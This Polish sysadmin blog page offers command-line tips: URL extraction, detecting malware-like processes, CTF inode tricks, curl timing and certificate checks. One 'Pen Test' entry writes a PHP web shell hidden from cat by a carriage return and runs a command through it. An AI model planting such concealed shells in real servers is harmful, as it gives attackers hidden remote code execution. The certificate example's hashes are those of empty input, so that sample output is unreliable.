Napisał: Patryk Krawaczyński
24/03/2022 w CmdLineFu
curl -s https://nfsec.pl | grep -Eo "(http|https)://[a-zA-Z0-9./?=_%:-]*" | sort -u
Więcej informacji: SpiderFoot
Napisał: Patryk Krawaczyński
12/08/2021 w Bezpieczeństwo, CmdLineFu
sudo grep -F '(deleted)' /proc/*/maps | grep -E '\s[r\-][w\-]x[sp\-]\s'
– znajdź działające procesy z usuniętymi plikami wykonalnymi.
sudo find /tmp -executable -not -empty -type b,c,f,l,p
– znajdź pliki wykonalne w katalogu /tmp.
sudo grep -a -E '^.{,5}\[' /proc/[0-9]*/cmdline
– znajdź procesy z nawiasami kwadratowymi (używane przez złośliwe oprogramowanie, aby wyglądały jak procesy jądra).
sudo grep -E '\s[r\-][w\-]x[sp\-]\s' /proc/*/maps | awk -F ' ' '{if(length($6)==0){split($1, arr, "/");print arr[3]}}' \
| sort | uniq | xargs -I {} -n 1 bash -c 'cat /proc/{}/cmdline; echo'
– znajdź i wyświetl procesy mające niezmapowane sekcje wykonalne.
Więcej informacji: Ściągawka z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa, Thread with one-liners bash commands to search for malware in a Linux host
Napisał: Patryk Krawaczyński
14/01/2021 w CmdLineFu
while read x; do echo -e "$x\n`aptitude why $x`" | grep 'Manually installed' -B1 |\
grep -v '^Manually installed\|^--'; done <<< $(apt-mark showmanual)
Napisał: Patryk Krawaczyński
07/11/2020 w CmdLineFu
Usługi skracania adresów URL istnieją od dawna. Wikipedia datuje je na rok 2000. Dzięki mediom społecznościowym i komunikatorom usługi skracania adresów są teraz bardziej przydatne niż kiedykolwiek. Bazując na ułomności ludzkiej pamięci pozwalają nam zapamiętać krótkie adresy zamiast długich wierszy. Skrócona „część” działa jak unikalny klucz, który serwer może użyć do przekierowania żądania do wybranego, końcowego adresu URL. Istnieją różne metody przekierowania przeglądarki z adresu URL na inny. Większość z nich zwykle opiera się na nagłówku HTTP przy pomocy kodów 301
(Moved Permanently), 302
(Found), 307
(Temporary Redirect), czy 308
(Permanent Redirect). Niezależnie od kodu miejsce docelowe przekierowania jest zwykle zakodowane w polu nagłówka: Location
. Bazując na tej informacji możemy sprawdzić większość skróconych adresów za pomocą polecenia curl:
curl -svI $SKRÓCONY_URL --max-redirs 0 \
--user-agent "Googlebot/2.1 (+http://www.google.com)" 2>&1 | grep -i location
Jednak sam proces przekierowania to nie jedyna rzecz, która ma miejsce, gdy nasza przeglądarka trafia na serwer skracarki. Pozostawiamy również wpis w logach ze swoim odciskiem palca zawierającym adres IP, nazwę aplikacji klienckiej i wszystko to, co przeglądarka akceptuje, aby przekazać serwerowi. Te wszystkie rzeczy poszerzają możliwości skracania adresów URL i pomagają zespołom marketingu, SEO i innym „szpiegować” (pozyskiwać dość szczegółowe informacje analityczne) klientów z nich korzystających. A jeszcze gorzej, jeśli za ich pomocą przekazujemy poufne informacje.
Napisał: Patryk Krawaczyński
26/06/2020 w CmdLineFu
for i in `curl -s https://adres.pl | grep -Eo \
"(http|https)://[a-zA-Z0-9./?=_-]*\.js"`;
do curl -s $i &> /dev/stdout | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*; done
Napisał: Patryk Krawaczyński
29/09/2019 w CmdLineFu, Debug
0. Utworzenie pliku:
touch .findmehere
1. Lokalizacja obiektu w systemie plików:
ls -i .findmehere
15466911 .findmehere
2. Zakodowanie wiadomości:
while read -n1 char; do printf "%d " \'$char; done
C67 T84 F70 .46 f102 l108 a97 g103
3. Umieszczenie wiadomości w pliku:
sudo debugfs -w -R 'set_inode_field /home/ctf/.findmehere \
version 6784704610210897103' /dev/sda2
4. Sprawdzenie zapisu wiadomości:
sudo debugfs -R 'stat <15466911>' /dev/sda2
Inode: 15466911 Type: regular Mode: 0640 Flags: 0x80000
Generation: 1555060808 Version: 0x5e281ce5:65935ccf
User: 0 Group: 0 Project: 0 Size: 0
File ACL: 0
Links: 1 Blockcount: 0
Fragment: Address: 0 Number: 0 Size: 0
ctime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
atime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
mtime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
crtime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
Size of extra inode fields: 32
EXTENTS:
5. Weryfikacja wiadomości:
printf "%d\n" 0x5e281ce565935ccf
6784704610210897103
for i in `echo 67 84 70 46 102 108 97 103`; do echo -ne \\x$(printf %02x $i); done
CTF.flag
Więcej informacji: Ext4 Disk Layout, Czas utworzenia pliku w Linuksie
Napisał: Patryk Krawaczyński
10/08/2019 w Administracja, CmdLineFu, Debug
C
url może być pomocnym narzędziem przy debugowaniu. Gdy na rozpoznanie problemu składają się problemy z: siecią, DNS, serwerem lub wydajnością samej webaplikacji – możemy bez wahania po niego sięgnąć. W celu izolacji problemu możemy uruchomić curl’a w następujący sposób:
curl -w "$(date +%FT%T) dns: %{time_namelookup} connect: %{time_connect}\
firstbyte: %{time_starttransfer} total: %{time_total} HTTP: %{http_code}\n"\
-o /dev/null -s "https://apka.dev"
Polecenie takie puszczone w pętli da nam ładny podgląd na każde żądanie HTTP:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
10/05/2019 w CmdLineFu
W
poprzedniej części – dzięki zmiennej środowiskowej udało nam się przyśpieszyć działanie polecenia grep. Dzisiaj zajmiemy się poleceniem: ls. Jeśli polecenie to zajmuje dłuższy czas dla wylistowania bardzo dużej liczby plików – szczególnie jeśli są one umieszczone na sklastrowanych systemach plików typu Lustre możemy sprawdzić, czy ustawienie zmiennej dla niewyświetlania kolorów podczas listowania przyśpieszy operację:
export LS_COLORS='ex=00:su=00:sg=00:ca=00:'
Czyli prosimy ls o niekolorowanie na listingu plików z bitem setuid/setgid, flagą wykonywalności lub możliwościami opartymi na plikach. Analogicznie możemy przyśpieszyć w określonych warunkach (zależy po jakiej treści sortujemy) sortowanie bardzo dużych plików poprzez ustawienie:
export LC_COLLATE=C
export LANG=C
Tylko musimy liczyć się z faktem, że zmieni się zachowanie sortowania, ponieważ program sort uwzględnia te zmienne przy decydowaniu o jego kolejności. Np. LC_COLLATE
o wartości en_US.UTF-8
spowoduje, że małe litery zostaną posortowane przed wielkimi literami.
Więcej informacji: When setting an environment variable gives you a 40x speedup
Napisał: Patryk Krawaczyński
10/03/2019 w CmdLineFu, Pen Test
$ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php
$ cat test.php
<?='PHP Test';?>
$ curl localhost/test.php -d 1=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Test
Napisał: Patryk Krawaczyński
10/05/2017 w CmdLineFu
Jak sprawdzić, czy klucz prywatny pasuje do wydanego certyfikatu? Powinny posiadać identyczny skrót SHA256:
openssl rsa -noout -modulus -in kluczdomeny.key 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
openssl x509 -noout -modulus -in certyfikat.crt 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
Jeśli jest inaczej to znaczy, że coś poszło nie tak w procesie generowania certyfikatu lub pomyliliśmy pliki.
Ostatni komentarz :